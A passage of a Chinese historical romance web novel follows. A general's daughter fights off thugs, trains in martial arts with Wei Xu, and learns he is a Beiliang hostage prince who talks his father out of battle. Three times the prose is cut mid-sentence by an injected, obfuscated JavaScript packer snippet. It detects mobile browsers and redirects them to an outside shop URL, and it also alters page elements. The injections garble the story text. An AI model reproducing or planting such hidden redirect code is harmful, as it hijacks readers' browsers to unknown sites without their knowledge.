隗絮的眼神瞬间变得严肃,立刻弹起来,拿上外袍就往外走:“她怎么了?” 4. 遇袭 秦常念不想在隗絮面前失控,出了餐馆便在外面随处逛着。走了一段距离,她忽然靠在一根柱子上,抬着头,直面天空,闭上眼睛,深吸了一口气,又重重地吐出。 “哎哟,小姑娘,又见面了。” 秦常念一睁眼,竟是刚才在餐馆内碰见的人。她立刻直起身子,变得警惕了起来。 “刚刚没注意,这小姑娘长得还挺标致的嘛。”那几个男人向秦常念逼近,很有压迫感。 秦常念扫视了他们一圈,眼神凌厉,从头上拔下一支发钗,握在手上,做好了战斗准备。 “你还挺猛啊。”那几个男人嘴角歪斜,笑得奸诈,眼里都透着贪婪和欲望。 “不过小妹妹,你可不会次次都那么好运,有人英雄救美。”他们环顾四周,发现秦常念是一个人,更加放肆,走上前来就想动手动脚。 “本小姐可不需要别人来救。对付你们,足够了。”秦常念抓住放在她肩上的手,将那人的大拇指用力往上一掰。 男子吃痛地松了手,向后退去,又被其他人扶住。那几个人见状,一起冲了上来。 隗絮跟着剪书赶来的时候,就是这个画面。 “找死。” 秦常念咬牙切齿地蹦出了几个字,一把拉过旁边放着的推车,往他们的方向推过去。 那几个男人措手不及,为了躲开,向不同的方向分散。 “公子,我们赶快去帮小姐。”剪书着急忙慌地就要跑去,被隗絮一把拽住衣领。 “先等会。”隗絮把剪书拖来回来,借着树的遮挡,好整以暇地看着,和刚才着急的模样判若两人。看起来今日不必着急了,只有大小姐欺负别人的份,没有大小姐吃亏的可能。 秦常念迎上前去,对着一个男人的□□,就是一膝盖猛击。男人下意识地弯了腰,抡起拳头就要反击。 秦常念立即侧身,躲过男人的反击,眼睛都不眨一下地看着他的拳头。 男人用力过度失了平衡,向前扑去,趴在了地上。 还有一个男的企图从身后偷袭秦常念,手还没碰到秦常念,她就立刻转了身,长发狠狠抽过那男子的脸。 那男子改变路线,将手掌侧过来,对着内关穴就出掌。 秦常念精准地预判到,将发钗对着他的手掌,就狠狠地插了进去:“我警告过了,别惹我。” 隗絮静静地看完了这一切,很显然秦常念没有学过正统的武功,全是靠头脑灵活、身体素质硬扛着,完成这一场反杀。 秦常念解决了他们,心里痛快了几分,转身正欲走,和隗絮对上了眼神。 秦常念的眼神很明显闪动了,用余光瞟了瞟倒在各处的小混混,又看了看隗絮,似乎有些犹豫。 隗絮就像没看到刚刚的一切一样,走上前来拉秦常念:“我说你跑哪去了,饭都凉了。” 走了几步,隗絮突然松开了秦常念的手,往回走。 秦常念出于本能就抓住了隗絮的手指:“怎么了?” “没事,有东西忘了拿,在这等我一下。”隗絮摩挲了一下秦常念的指节,以示安抚,快步走回去,在倒在地下的男人惊恐的眼神里,拔出了秦常念的那根发钗,眼角跳动了一下。 “那根钗子,不要了吧。”秦常念看着已经弄脏的钗子说道,将军府向来是不缺一根钗子,这根钗子对自己也没什么特别的意义,可有可无。 “真可惜,都被弄脏了。”隗絮将钗子放在衣服上仔细擦了擦,白底蓝勾边的袍子,血色在上面格外明显,但隗絮却不甚在意,小心地将钗子放进怀里。 “你留钗子做什么?” “有用。” “用来干什么?” “睹物思人。”隗絮盯着秦常念,那一刻,他总是淡漠的眼眸像是起了一场大火,有浓得化不开的深情。 他说的样子太真挚,秦常念望着他棱角分明的脸、微微下垂的眼角,一时间连呼吸都忘了。 “明日起,我便教你练武吧。”隗絮轻轻捏了一下秦常念的脸,将她的思绪拉回。 “真的吗?那太好了!”秦常念一开心,飞扑到隗絮身上,给了他一个大大的熊抱。 秦远回了镇北将军府,立刻召人来礼安堂。 “隗絮最近可有异动?” “回将军,今日隗公子去寄了信。” 不是还没到一个月吗,怎么又寄去了。 秦远摊开手,示意侍卫把信拿上来。 信比往常的都要短很多,秦远只用了片刻便看完了。他目光好似空无一物地望向府外,长长地叹了口气。 “将军,是提醒北凉要有所行动吗?”侍卫看到秦远意味深长的表情,猜测道。 “不是,把信送回去罢。”秦远摇了摇头呢,表情却不见轻松。 东厢房外,秦常念左顾右盼,见四下无人,兴奋地小声喊道:“隗公子,隗公子!” 隗絮才将门开了一小条缝,秦常念就钻了进去。 “深夜前来,大小姐所为何事。” 隗絮话还没说完,秦常念就急匆匆地打断:“我当然是有重要的事情,隗公子白天说要教我练武的事情,我可当真了啊。” 隗絮脑袋一偏,笑着点了点头。 秦常念见此,又不知道从哪掏出一本小册子,硬塞到隗絮怀里。 这镇北将军府的大小姐如此勇猛的吗,这么快就写了情书,还深夜送来?看来还是让她等着急了。 隗絮在心里默默想着,已经在盘算该怎么回应女孩,才让她最满足。 “这是我母亲留给我的,我就要学这一套剑法。还请隗公子不吝赐教。”秦常念站起来,正儿八经地抱拳行了个礼,清脆地说道。 隗絮嘴角猛地抽搐了一下,一个字一个字地往外蹦:“好的大小姐。” “那我先走了,隗公子早些休息。”秦常念瞟到隗絮的桌上放了杯酒,端起来一饮而尽,餍足地长吁一口气,然后转身出去,还顺手带上了房间的门。 这一套动作行云流水、一气呵成,独留隗絮在这里回忆自己的自作多情。 我看你手脚麻利、动作飞快,还需要学什么武功。 隗絮觉得自己太丢人了,忿忿道。人在很尴尬的时候就会想找些事情做,隗絮在对秦常念的生气的时候就会折磨别人:“剪书!找人把白天那几个人办了,做得干净些。” 次日,隗絮才刚到书房门口,就看见往日里的起床困难户神采奕奕地向他问好:“隗公子早!” 秦常念的发髻规整地盘好,着一袭黑色束身袍,身材被勾勒的凹凸有致,和往常爱穿明艳颜色、大衣摆的她截然不同。 隗絮看呆了。 “隗公子,我们先练拳还是剑,刀我也可以。”秦常念已经摩拳擦掌,学着自己在军营看过的练兵,胡乱地打一些拳,又摆出一副舞剑的姿势。 “从基础学起。” “隗公子对我尽可能地严格一点,不必怜香惜玉。” 隗絮看了秦常念一眼,从怀里掏出一把尺子:“大小姐放心,既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711262|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要教,我一定会尽心尽力。” 原来是有备而来啊。秦常念惊讶地看着那把尺子,颇为无语。我真是高估他了,还怜香惜玉,我看他早就盼着这一天,可以拿戒尺打我,以解心头恨。 可那戒尺从来都没把秦常念打疼过。 “手抬高。”隗絮用戒尺把秦常念的手挑起来。秦常念的手早都抬得没知觉了,一动便觉得麻,不可控制地靠在隗絮的戒尺上借力。 隗絮也没急着把戒尺拿开,他看了一眼秦常念挣扎的表情、和额头上滚落的汗珠,一手承着她的重量,半天没动。 “休息一刻钟再继续。”隗絮把戒尺抽走,秦常念立刻瘫软下来,坐在雪地里。 隗絮眉头一皱,单手像拎小鸡崽一样把秦常念拎起来:“出汗了不可坐在雪地里,寒气入侵,恐受风寒。” “但我没力气了。”秦常念觉得自己的身体像气球一样,轻飘飘地,完全不受控制,躺在雪地里出神。大半重心都在隗絮那边,她也没力气去想,由着隗絮摆布。 隗絮将她拎到书房内坐下,又开始给她分析刚才的动作:“气沉丹田,要缓、要稳……” 后面的话,秦常念累的都没听进去,只是盯着隗絮眼角的那颗痣发呆。 漠北竟有长得如此俊秀之人,不知日后会便宜了哪家姑娘。 想到这,秦常念自己都吓了一挑,立刻回过神来,摇了摇头,想把这些不知从哪冒出来的、乱七八糟的想法都甩出脑袋。 我在想什么啊,和他这种固执的、严肃的、不解风情的人生活在一起,哪家姑娘受得了。 但脑袋里又不自觉回放那日他将她的发钗擦净,视如珍宝的模样。 快别想了!秦常念觉得自己很不对劲,难道练武会给人带来精神上的副作用吗?怪不得那些官兵、守卫性格都那么奇怪,好吧,可以理解。 偶尔秦常念实在练得不好,那根戒尺也会高高地扬起。 “腿又弯了!”隗絮扬起戒尺,作势要打。秦常念出于本能地闭上了眼睛,隗絮的手下落时顿了一下,最后是轻轻落在秦常念的膝盖上。隔着衣服,秦常念几乎感觉不到。 他原来是个外冷心热的人。秦常念坐在房间里喝隗絮送来并且叮嘱她一定喝完的姜汤,眼里闪着亮光。 就这样学了月余,秦常念觉得自己对身体的掌握已经好了许多,肌肉力量也得到了增强,就不再满足于练些基本功,急着要实践。 秦常念在府里来来回回地走,忽然心生一计:“子秋,你去搬些小凳子来。” 秦常念将那些高脚的圆凳摆成一排,每个中间都间隔了约莫两尺长,然后蹦了上去:“子秋,你去门口帮我看着,要是父亲回来了,就赶紧来通知我。” “大小姐……” “愣着干嘛,快去啊。”秦常念很着急地把子秋推出去,子秋欲言又止地跳到门口的树上替她望风。 “运气,提神,专注……”秦常念在第一个凳子上扎了个马步,两指向前推,嘴上默念着。 她的基本功练得很稳,心态又比较放松,轻而易举地就跳过了前面两个凳子。 在上最后一个凳子的时候,秦常念没目测好距离,踩上去的时候,有半个脚掌都在外面。她用脚尖踩住凳子,身体向前撅,拼命维持平衡,猛烈摇晃后,单脚在凳子上站稳。 “不错啊秦常念,干得漂亮!”秦常念默默在心里给自己竖了个大拇指。 但漠北的雪软而松,秦常念的重心压在一侧,凳子下的雪开始松动。 5. 战场 凳子剧烈晃动后,地下的雪松了,凳子腿完全失去支点,向一侧歪去。 “啊!”秦常念惊呼一声,从凳子上飞了出去。 摔在雪地上也不会很疼的。秦常念在心里安慰自己,闭上了眼睛。 一阵松木香的风刮来,秦常念觉得自己坠在一个有些硬的垫子上,那垫子似乎还会说话,发出了一声闷哼。 秦常念吓了一跳,赶忙爬起来,往身后一看,和隗絮四目相对。 “隗,隗公子。”秦常念愣住了,他怎么在这。 隗絮从地上爬起来,看了一眼刚刚因为垫在秦常念脑袋下而磕在冰上的手,甩了几下,又上下打量了一下秦常念,检查她是否受伤,却看到秦常念的脚踝因为蹭到凳子擦伤,有些红肿。 隗絮第一次对秦常念发了火,脸色阴沉,握着秦常念手腕的手越来越紧,怒吼道:“秦常念!我说没说过,练武不可心急,要量力而行。我课上不教你是因为你还没学到那程度,你倒好,自己在这瞎练!” 秦常念从没见过如此愠怒的隗絮,吓得不轻,一手揉着自己的衣摆,声音细如蚊子:“我……对不起,隗公子。” 隗絮看着她因为害怕而低下去的头,找回了几分理智,深吸了一口气,刻意压低了音量:“你不是对不起我,你若是伤了,最对不起的是你自己。” “可是练武哪有不受伤的。”秦常念觉得不服气,小声地反驳。 隗絮在这位将军府大小姐的眼中,看见了一种他从未见过的坚持和信念。 她是认真的。 向来都喜欢睡懒觉的她,在加了这节课以后,从未迟到过;有时候教的内容难了些,秦常念课上没能很好的掌握,就一定会在深夜见到她偷偷练习的背影。 皑皑白雪,银霜满地,一袭玄色练功服的少女在上面留下深深浅浅的脚印,乱了对面透过窗缝偷看的少年的心。 那日之后,后院里便多了几个梅花桩。 “今日起便学剑吧。”隗絮将一柄长剑递到秦常念手上。 这把剑刀刃及薄,磨得很好,在白雪的反光里透出刺眼的光。剑柄上有精细的雕刻,磨损不多,一看主人便将其保护得很好。 “这是你的剑?”秦常念将剑拿在手里,细细地看。 “从今日起,便是你的剑了。” 听到这,秦常念立刻抬起头来,诧异地盯着隗絮。 “你先用着,若是日后觉得不习惯、不喜欢,便再去订一把。”隗絮的眸子漆黑,眼神却是淡淡的,似乎很不在乎这把剑。 “这太贵重了,我不能收。”秦常念把剑递回去,她知道,隗絮这么精心爱护的一把剑,对他一定有重要的意义。 无论是趁手的武器,还是纪念的礼物,秦常念都不能收。 “我还忧心这把剑配不上大小姐。”隗絮把剑推回去,绕到秦常念的身后,握着她的手,教她如何执剑。 “隗公子……”秦常念微微侧过头去,怎料隗絮弯着腰,她的额头正好抵在隗絮的下巴上,秦常念吓得一时不敢动作。 “嘘,别说话。观呼吸,融剑气。” 因为距离太近,隗絮说话时,温热的呼吸喷洒在秦常念的脖颈,秦常念一抬眼,就能看见他眼角的那颗痣。 扑通、扑通,秦常念觉得自己的心跳像鼓点一样,几乎要震碎自己的胸膛冲出来,甚至担心隗絮会不会听到这震耳欲聋的心跳声。 秦常念极力调整,让自己冷静下来。但是呼吸却越来越急促。 “你的呼吸有些快了,不要紧张。”隗絮当她是第一次拿剑,有些害怕。 秦常念觉得再这样下去要完蛋了,从隗絮的怀里钻出来,如释重负一般吐了一口气,拿着剑:“我……我自己试试。” 隗絮点点头,松了手。 可没一会,又重新握住秦常念的手,一手揽着她的腰,带着她舞剑:“快如疾风,观其破绽,先行试探,一招致命。” 最后一剑快速有力地扫过枝桠上的雪,一瞬间,雪花四溅,那干枯脆弱的树枝却没有折断一根。 原来母亲当年是这样舞剑的,秦常念在心里想象着。 泰丰三十二年,崔虞兰刚刚及笄,是刑部尚书崔介的二女儿。她一袭红衣,日日在元沥河边练这套剑法。 彼时还是伏波少将军的秦远看见她舞剑,忍不住上去指点。 崔虞兰见他长相稚嫩,不似行伍之人,便以为他是上来找事的,一生气,竟跟他打了起来。 两人不打不相识,这之后,逐渐熟络起来。崔虞兰惊叹于秦远武功了得,又精通书画;秦远折服于崔虞兰的炽热勇敢、高超剑术。在第三年的春天,他们成了亲。 就在秦常念听闻边关战事吃紧,北凉召集了三万兵马,大军压境之时,秦远意外地派人回了将军府,带走了隗絮。 秦远似乎要人要得很紧急,隗絮只来得及简单收拾一下,就准备要走。 “隗公子把剑带上,在战场上要多加小心。”秦常念拿着那把剑匆匆赶到隗絮的房间。 隗絮轻笑了一下,细密的睫毛垂下来,盖住眼睛里复杂的情绪,摸了一下秦常念的头:“不带了,留给你在府里练习。” 然后便准备出门。 “隗絮!”秦常念忽然在他身后大叫了一句,满脸担忧。 和北凉打仗,父亲为什么要派人回来接隗絮? 隗絮连剑都不带,也没换上盔甲,很显然不是去打仗的。 那他是去干嘛的? 他,还会回来吗? 隗絮听到秦常念喊他,转过头,又用眼神将她从头到尾描摹了一遍,牢牢记在心里。隗絮清了一下嗓子,故作轻松道:“很快我们就会回来了,回来检查你的作业啊,不要因为我不在就偷懒。” 秦常念点点头,又使劲冲他摆摆手:“注意安全!”然后站在门口目送,她看着隗絮的背影消失在视野中,连快马扬起的尘埃也落回地上,心里的疑惑和担忧又添上了几分。 走了一段距离,隗絮从怀里掏出一张纸,递给剪书:“你去找家糕点铺子,按照这上面的做法做,我回来的时候要。” “是。”剪书接过那张菜谱。 大齐边境,风沙四起,两军对垒,剑拔弩张。 “去吧。”秦远骑在马上,望向北凉的骑兵,对隗絮说道。 隗絮抱拳行了个礼,径直向前走去。 在铠甲满身、武器遍地的队伍中,一身白衣、目若朗星的隗絮只身一人、手无寸铁地走了出来。 秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711263|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远紧张抬起手,准备指挥落石手和弓箭手。 对面北凉的骑兵也蓄势待发,随时准备着进攻。 “父王。”隗絮走到镇北军和北凉骑兵的中间,对着北凉贤王作了个揖。 “他们可有待你不好?”贤王和隗絮许久不见,一时竟有些热泪盈眶。 “儿臣很好。但是父王,现在天气太过寒冷,正是草木不生、牛羊饲料短缺的时候,百姓的负担很重。大齐和北凉素来多纷争,边关战事不断,现在又临近新年,我想,北凉的百姓也需要休养生息,好好过一个年。” “絮儿!回来吧!”贤王神色复杂,堂堂北凉的少主,竟去做了质子,他实在是对不住隗絮啊。所以,他此次下了决心,不惜一切代价,他也要将隗絮抢回来。 隗絮神色坚定,缓缓地跪下,任凭风将他的发吹乱,雪落在肩头浸湿一片衣裳,铿锵有力地喊道:“镇北将军待儿臣极好,儿臣一切都好,恳请父王退兵!” 漠北荒凉空旷,隗絮的声音撞到雪又传回来,在边境回荡。 秦常念,这一次,我来替神明实现你的愿望。隗絮跪在那里,带着比谁都坚定的心。 秦远和贤王一时间都静止了,互相看着。 隗絮仍然跪在雪地上,脊背挺得笔直,铮铮铁骨。 贤王看着隗絮,将许多话都咽回肚子,半晌,举起手:“撤兵!” “谢父王!父王保重!”隗絮对着转身策马离开的贤王,深深地磕了个头。 贤王的马停了一下,最终没有回头看,向更远处奔去。 隗絮跪在地上,眼神像一片幽深的海,让人看不清楚。 秦远坐在马上,静静地看着他。许久,他从马上下来,将自己的披风脱下,盖在隗絮的身上:“莫要着凉了。” 隗絮抬起头来,看着秦远。他的脸上因为常年征战沙场,很是粗粝,皱纹爬上脸颊,皮肤也有不同程度的皲裂,但眼里的坚毅却愈加鲜明。 什么时候,秦远也这么老了。 他的脸庞和十二年前重合,让隗絮一时陷入回忆。 那是新帝初登基那年,隗絮跟随父亲搬离江南,前往漠北,从江南的小公子,摇身一变,成为漠北草原赤狄人的少主。 秦远那时还很年轻,头发却已经白了,隗絮见到他的时候,他很颓然,胡须也没有刮。秦远也是这样给他披了一件狐裘大衣,拍了拍他的肩膀:“多保重。” 现在回想起来,秦远当时的眼神很复杂,又心疼、有无奈,亦有对他的期许。 可当时,隗絮沉浸在人生发生重大变故的打击之中,只顾着伤心和生气,并不知道前方在等待自己的是什么。 他怪过贤王很长一段时间,怪他为了一己私欲,举家迁来漠北;怪他太有野心,非得当个一方之主;怪他不尊重他和母亲,让全家陪他受苦。 但是在漠北看得东西多了,隗絮的心里也生出一份责任感。一改在江南时的顽皮,收敛起自己的性子,学着沉稳、学着把情绪都藏起来,尽力去做父王心中、赤狄人心中那个合格的少主。 没人知道,北凉少主隗絮原本是生在江南、长在江南的翩翩少年郎,他的人生从来到漠北的那一刻起,就随着漠北飘了一场大鹅毛雪,封住了属于他的一切。 6. 归来 一阵剧烈的马蹄声传来,震得地面都发出轰轰的声响。 秦常念兴奋地跑出府,看到秦远稳稳地下了马,笑得慈祥:“常念最近可还好?” “父亲,女儿一切都好。”秦常念扑上去抱住秦远,把秦远都撞得往后倾斜了几分。 她透过秦远的肩膀,看到了后面披着父亲的披风、风尘仆仆的隗絮,上下打量了一下,看到他仍全须全尾地站在那里,顿时觉得心里松了口气。 隗絮的原本凝固的表情,在接收到秦常远关切的目光后,终于有了松动,扯出了一个笑容,用口型示意她放宽心。 秦远和秦常念父女俩久别重逢,亲昵了一会后,秦常念走到隗絮身前:“隗公子此行可还好?父亲带你是去做什么的?” 隗絮笑了笑,不知从哪变出一盒糕点,递给秦常念:“没去干嘛,给你带了临街的糕点,你不是总说只能在书上看,不能亲自尝,很无趣吗。” 隗絮选择撒了一个人尽皆知的谎言。 他没法告诉秦常念真相,却又不想再胡乱地编一个理由,来骗她,只让她一个人傻傻地蒙在鼓里。 秦常念直视着他一片漆黑,却又如星光点点的眸子,调整了一下表情,笑盈盈地结果那盒糕点:“这就是书上的南方糕点吗?多谢隗公子!以后上课都觉得更有意思了呢。” 秦常念知道他有秘密,但他现在不想说。 她选择配合他演出。 她始终相信,世人皆有秘密,想要守住秘密的人,自然有他想要守住的道理。 在未经允许之前,任何人都没资格去窥探、去揣度。 秦远看到这个场景,轻轻叹了一口气,先行转身进了房间。 隗絮摸了摸秦常念的头,又温柔地抚过她的脸颊。看着秦常念的大眼睛扑闪扑闪地望着自己,眉眼弯弯,走上前去,一把把秦常念搂进怀里。 秦常念吓了一跳,一时愣在隗絮的怀里。 “我想你了。”隗絮摸着秦常念的发丝,低沉地说道。 “哐当”一声,秦常念手里的食盒掉在了地上。这样简单的话语,从他那么克制的人嘴里说出来,为什么听起来像是情话。 “大小姐,将军……”子秋跑过来,见到他俩温存的场景,立刻把头低下去,“对不起。” 秦常念这时才如梦初醒一般,从隗絮的怀里出来,很不自在地整理了一下自己的衣角,故作镇定:“什么事。” “将军请您去喝茶一叙。” 秦常念点点头,看了一眼隗絮:“那我去了?” “快去吧,别让将军等着急了。”隗絮帮她把刚刚拥抱时不小心碰歪的发饰扶正,对她笑着说道。 隗絮目送着秦常念离开,上扬的嘴角就一直没下来过。半晌,他弯下腰去,将食盒捡起来,仔细地检查了一下,幸好糕点没摔碎。他用衣袖擦去上面的灰,抱在怀里,回了房间。 正厅内,秦远已经温好了茶。 “父亲,今日怎么还搞得如此正式,有点帅气啊。”秦常念看到秦远换了衣服,正襟危坐的样子,觉得有点好笑,调皮地开了个玩笑。 “就是同你聊聊天,来,喝茶。”秦远给秦常念倒了一杯茶。 秦常念双手接过茶,看到父亲今日对自己的玩笑并不接茬,反而一副很沉重的样子,不禁紧张了几分:“父亲是有什么事同我说吗?” 秦远喝了一口茶,酝酿了良久才开口:“近日你学得如何啊。” 秦常念心里一惊,看着父亲严肃的模样,暗自不安,父亲该不会已经知道隗絮在教自己武功的事情了吧? “学得很好,一切顺利。隗公子讲课细致,听得很明白。” 秦远半天没说话,房间里只剩下煮茶发出的噗噗声。秦常念吓得几乎静止了,脑袋里闪过无数个解释的借口。 秦远又叹了一口气,从怀里掏出一张纸,递给秦常念。 “这是什么?”秦常念疑惑地看着秦远,他们父女之间,鲜少有如此正式的时刻。 秦远用眼神示意她打开看看,秦常念把信展开,一读便吓了一跳。 父王亲启:边关的偷袭一事怕是不成,将士们已经疲惫,镇北军亦已有所准备。新年不是出兵的最好时机,仍需观望。————隗絮敬上。 秦常念把信捏在手里,从头到尾又读了一遍,竟发觉自己有些看不懂这些字组合而成的意思。 “父亲,这是……”秦常念隐约觉得自己平静的生活就要被这张纸打破了。她明明猜到了些什么,却不敢说半个字。 “隗絮是北凉贤王的长子,是赤狄人未来的少主。三个月前的那一战,北凉受到重创,于是将隗絮送来做质子,以换取两国边境的和平。这是他写给贤王的密信。”秦远一字一句地描述道。 原来如此,原来你是出身高贵的少主,在将军府寄人篱下,却忧心北凉,时不时将消息寄出。 你是隗絮,可你从来都不是我认识的那个隗公子。 “父亲,可这不是隗絮的字。”秦常念又把信重新看了一遍,寄一丝渺茫的希望于秦远弄错了。 “这是我派人誊抄的。为了避免他们起疑心,每封信我都会让人抄下来留样,然后将真实的那封寄出。” 秦远满怀忧虑地看着秦常念,秦常念和隗絮之间的感情,他看在眼里,可是他们毕竟是身份有别、立场有别,怕这样下去不是长久之计。即便很犹豫,他还是决定要告诉秦常念真相。 知道真相的时间越快越好,这样才不会身陷囹圄,无法自拔。 “父亲,那他可有出卖过大齐的机密?” “没有,他传出去的消息说的全是无关紧要的小事。我曾经试探过他,我特意将一副假的城防图上放在桌上,可他也从未在信里提过。此次我带他去前线,他也是劝他父亲退兵的。” 秦远看着秦常念,目光深沉:“我从来都相信他是个好人,所以我才让他做你的老师。可是常念,人有自己守的道义,就会有自己要的算计。你们终归是道不同,不相为谋。” 谋,我不曾想过要与他谋什么。 他若是想在我这谋什么,早就将机密传出了,此次也不会在战场上劝降。 “父亲,若是您现在不急着与北凉撕破脸,我便只当不知道此事,隗絮也只是我的老师。”秦常念终于从那封信上抬起头来,目光很坚定地说。 事后后悔,也好过事前止步,这是秦常念一向使用的准则。 “那日后呢,倘若终有一日,你们不再为师徒呢。”秦远看着已然长大的女儿,她似乎活得比自己更要洒脱,决定将选择权交给她。 “那便日后再说。”秦常念将那封信递回去,语气没有任何的波澜。 人生本就是世事无常、天命难料的,未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711264|144563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来也许比我们想象中要更短。 有幸福的机会,就别拒绝,这样的日子,能有一天算一天吧。 秦常念从秦远那里出来,站在院子里闭着眼睛吹风。她放空了自己,把所有想法都集中在感受风这件事情上,这是她保持清醒和冷静的秘诀。 “大小姐,和秦将军聊完了吗?”隗絮走了过来,替秦常念挡住风口。 秦常念看着他,点了点头。 “那便来尝尝糕点吧,刚刚你走得急,还没来得及尝呢。”隗絮试探地握住秦常念的手腕,见她没有抗拒,便拉着她回了房间。 隗絮接过秦常念脱下来的外袍,在衣架上挂好,着急忙慌地解释道:“这食盒刚刚掉在地上了,但糕点还是好的,若你介意,明日我再让人做过……” 话还没说完,秦常念已经拿起一块糕点放进嘴里细细品味:“嗯,好吃,当真是和书上写的一样呢,外酥内软,味甜清香。” 隗絮走过来在她的对面坐下,斟了一杯茶递给她:“喜欢就好,慢慢吃。” “你也吃。”秦常念把食盒推过去,邀请隗絮一起。 隗絮下意识地想拒绝,他不喜甜食。但想起秦常念总是说,好东西就要大家一起吃才开心,怕自己不吃光看着,扰了她的兴致,便也拿起一个放进嘴里,陪着她吃。 “你给家里写的信,从来没收到过回信吗?”秦常念拿起下一块糕点,一边把外面那层包装撕掉,一边漫不经心地问。 “大小姐,我……”隗絮一时间愣住,秦常念知道了?她知道多少?她怎么知道的?她现在知道了,是准备和我做一个了结吗?隗絮心里冒出了无数个问题。 “我就是那日在你书桌上正好看到了一封信,我猜是你写给家里人的,不过你放心,我没看内容。”秦常念仍是笑得纯粹。 隗絮欲言又止,有些不知所措地看向秦常念:“我的信是不需要回信的。” 秦常念又觉得还是不要强迫他好了,点点头笑了一下正准备转移话题,就听到隗絮很郑重地开口。 “我也许不是你想象中那个隗公子,我是来做质子的。” 秦常念很惊讶地抬过头,和隗絮面对面对视。 隗絮深吸了一口气,把故事原委原原本本地告诉了她。 “对不起,我不想骗你,可是我不知道该怎么告诉你这件事。”隗絮在秦常念的面前慢慢蹲下,握住她的手,望向她的眼睛里好似有无限的深情和不舍。 “我现在把选择权交给你,你想怎么处理便怎么处理,无论是我,还是我们的关系,我一切都听大小姐的。”隗絮轻轻抚了一下秦常念的发丝,又握了握她的手。 “不急,大小姐先考虑考虑,拿定主意了,再告诉我,我等你。”隗絮怕秦常念为难,贴心地给了建议,拉起她的手,想送她回去。 “我已经考虑好了。”秦常念拉住他的手。 隗絮的脚步停了下来,人都是近乡情怯的,他其实有些不敢听这个回答:“大小姐要不再考虑考虑?” “不必了。”秦常念的声音掷地有声。 完了。隗絮觉得自己大概是要迎来一个结局了,眉头紧皱,久久不敢回身。 秦常念松开他的手,绕到他面前。 该来的总会来的,偷来的幸福不可持久,隗絮终于下定决心,睁开眼睛,一双柔软的唇却印在他的唇上。 7. 新年 隗絮惊讶地瞪大了眼睛,就看见秦常念近在咫尺的睫毛,扑闪扑闪的,划过自己脸颊的时候痒痒的。 秦常念在隗絮的嘴上印了一下,很快就退开了,她环抱住隗絮的脖子,鼻尖抵着鼻尖:“我已经做好选择了。” 这个选择,会有可能是我吗? 隗絮看着她,眼里掠过千百种情绪,但最终留下的是欲望。他揽住秦常念的腰,用力往上一抬,又往前进了一点,将两人的距离缩小到几乎为零,哑着嗓子但是一字一句地问:“你真的想好了吗?” 秦常念害羞地点了点头,那个“好”字还没说出口,隗絮就一掌托住她的脖子,排山倒海般的吻压在了秦常念的唇上。 隗絮的吻带着些许侵略性,仿佛要将秦常念揉碎了,秦常念身子一软就要往下滑,隗絮单身稳稳地抱住她。 秦常念已经满脸通红,双手环抱住隗絮的脖子,调整着呼吸。 隗絮看着秦常念方寸大乱、不知所措的样子,觉得有些可爱,微微俯下身,让秦常念的头靠在自己的肩窝,又用手轻轻抚着她的背给她顺气。 “那个……我……”秦常念挣扎着想要说些什么,但是脑袋一片浆糊,半天也没说出个所以然来,最后颓败地、自我放弃一般地把头埋回隗絮的肩膀,扮作鸵鸟。 隗絮实在没忍住,在她侧过头的时候,对着她的额间印上一吻,惹得秦常念锤了几下他的胸口。 “好了,时候也不早了,回去早些休息吧,明日还要早起呢。”人逗够了,隗絮贴心地帮她找了个借口。 “明日为什么要早起?”秦常念抬起头来,懵懵地问道,一副游离在状况外的模样。 “明日要准备过新年了啊,你最期待的。”隗絮抱着她温柔地哄。 哦,对,明日就是新年了。隗絮走的那日,秦常念着人给他订了一套衣服,是为着新年准备的,不知道做好了没。 “那我,先回去休息了。”秦常念“嗖”地一下把手收回,着急忙慌地就往门外跑。 秦常念刚跨出门,又突然折返,跑到隗絮面前。 两人久别重逢,有些不舍也是正常的。隗絮在心里得意地想着,嘴角不禁上扬,若是她想在这休息,倒是对她的名誉有损,夜宿老师房间,传出去毕竟不好听。但是自己可以偷溜去她的房间陪她。 男人嘛,名誉都是身外之物。捡了名誉,丢了老婆这种吃亏的生意,隗絮才不干呢。 都要有老婆了,要什么清誉! “糕点很好吃,我可以带走吗?”秦常念把食盒抱在怀里,满怀期待地问。 隗絮一脸震惊,好的,果然在秦常念心里,美食高于一切。但还是很快调整好了表情,扯出了一个笑容:“当然,是送给你的。” 秦常念高兴极了,抱着那盒糕点,一溜烟就回了房间。 隗絮坐在案边,喝了杯茶平复心情,又用指尖沾了点水,在桌上写写画画,一边自言自语:“她最喜欢吃糕点,糕点高于一切,那糕点是我买的,糕点就是我,等于我高于一切!” 